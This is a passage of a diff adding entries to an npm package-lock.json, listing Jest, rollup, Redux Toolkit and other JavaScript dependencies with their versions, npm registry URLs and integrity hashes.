"sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/environment": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz", + "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==", + "dependencies": { + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz", + "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==", + "dependencies": { + "@jest/types": "^27.5.1", + "@sinonjs/fake-timers": "^8.0.1", + "@types/node": "*", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz", + "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/types": "^27.5.1", + "expect": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/reporters": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz", + "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==", + "dependencies": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "collect-v8-coverage": "^1.0.0", + "exit": "^0.1.2", + "glob": "^7.1.2", + "graceful-fs": "^4.2.9", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.1.3", + "jest-haste-map": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "slash": "^3.0.0", + "source-map": "^0.6.0", + "string-length": "^4.0.1", + "terminal-link": "^2.0.0", + "v8-to-istanbul": "^8.1.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/reporters/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/reporters/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/reporters/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/reporters/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/reporters/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/reporters/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/reporters/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/schemas": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz", + "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==", + "dependencies": { + "@sinclair/typebox": "^0.24.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/@jest/source-map": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz", + "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==", + "dependencies": { + "callsites": "^3.0.0", + "graceful-fs": "^4.2.9", + "source-map": "^0.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/source-map/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/test-result": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz", + "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/test-sequencer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz", + "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==", + "dependencies": { + "@jest/test-result": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-runtime": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz", + "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==", + "dependencies": { + "@babel/core": "^7.1.0", + "@jest/types": "^27.5.1", + "babel-plugin-istanbul": "^6.1.1", + "chalk": "^4.0.0", + "convert-source-map": "^1.4.0", + "fast-json-stable-stringify": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-util": "^27.5.1", + "micromatch": "^4.0.4", + "pirates": "^4.0.4", + "slash": "^3.0.0", + "source-map": "^0.6.1", + "write-file-atomic": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/transform/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/transform/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/transform/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/transform/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "node_modules/@jest/transform/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/transform/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/transform/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.22", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.22.tgz", + "integrity": "sha512-Wf963MzWtA2sjrNt+g18IAln9lKnlRp+K2eH4jjIoF1wYeq3aMREpG09xhlhdzS0EjwU7qmUJYangWa+151vZw==", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", + "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==" + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "dependencies": { + "eslint-scope": "5.1.1" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.11", + "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.11.tgz", + "integrity": "sha512-7j/6vdTym0+qZ6u4XbSAxrWBGYSdCfTzySkj7WAFgDLmSyWlOrWvpyzxlFh5jtw9dn0oL/jtW+06XfFiisN3JQ==", + "dependencies": { + "ansi-html-community": "^0.0.8", + "common-path-prefix": "^3.0.0", + "core-js-pure": "^3.23.3", + "error-stack-parser": "^2.0.6", + "find-up": "^5.0.0", + "html-entities": "^2.1.0", + "loader-utils": "^2.0.4", + "schema-utils": "^3.0.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">= 10.13" + }, + "peerDependencies": { + "@types/webpack": "4.x || 5.x", + "react-refresh": ">=0.10.0 <1.0.0", + "sockjs-client": "^1.4.0", + "type-fest": ">=0.17.0 <5.0.0", + "webpack": ">=4.43.0 <6.0.0", + "webpack-dev-server": "3.x || 4.x", + "webpack-hot-middleware": "2.x", + "webpack-plugin-serve": "0.x || 1.x" + }, + "peerDependenciesMeta": { + "@types/webpack": { + "optional": true + }, + "sockjs-client": { + "optional": true + }, + "type-fest": { + "optional": true + }, + "webpack-dev-server": { + "optional": true + }, + "webpack-hot-middleware": { + "optional": true + }, + "webpack-plugin-serve": { + "optional": true + } + } + }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin/node_modules/html-entities": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz", + "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] + }, + "node_modules/@reduxjs/toolkit": { + "version": "1.9.7", + "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-1.9.7.tgz", + "integrity": "sha512-t7v8ZPxhhKgOKtU+uyJT13lu4vL7az5aFi4IdoDs/eS548edn2M8Ik9h8fxgvMjGoAUVFSt6ZC1P5cWmQ014QQ==", + "dependencies": { + "immer": "^9.0.21", + "redux": "^4.2.1", + "redux-thunk": "^2.4.2", + "reselect": "^4.1.8" + }, + "peerDependencies": { + "react": "^16.9.0 || ^17.0.0 || ^18", + "react-redux": "^7.2.1 || ^8.0.2" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "react-redux": { + "optional": true + } + } + }, + "node_modules/@rollup/plugin-babel": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz", + "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==", + "dependencies": { + "@babel/helper-module-imports": "^7.10.4", + "@rollup/pluginutils": "^3.1.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "@types/babel__core": "^7.1.9", + "rollup": "^1.20.0||^2.0.0" + }, + "peerDependenciesMeta": { + "@types/babel__core": { + "optional": true + } + } + }, + "node_modules/@rollup/plugin-node-resolve": { + "version": "11.2.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz", + "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "builtin-modules": "^3.1.0", + "deepmerge": "^4.2.2", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/plugin-replace": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz", + "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "magic-string": "^0.25.7" + }, + "peerDependencies": { + "rollup": "^1.20.0 || ^2.0.0" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "dependencies": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "engines": { + "node": ">= 8.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/pluginutils/node_modules/@types/estree": { + "version": "0.0.39", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==" + }, + "node_modules/@rushstack/eslint-patch": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.7.2.tgz", + "integrity": "sha512-RbhOOTCNoCrbfkRyoXODZp75MlpiHMgbE5MEBZAnnnLyQNgrigEj4p0lzsMDyc1zVsJDLrivB58tgg3emX0eEA==" + }, + "node_modules/@sinclair/typebox": { + "version": "0.24.51", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.51.tgz", + "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==" + }, + "node_modules/@sinonjs/commons": { + "version": "1.8.6", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz", + "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==", + "dependencies": { + "type-detect": 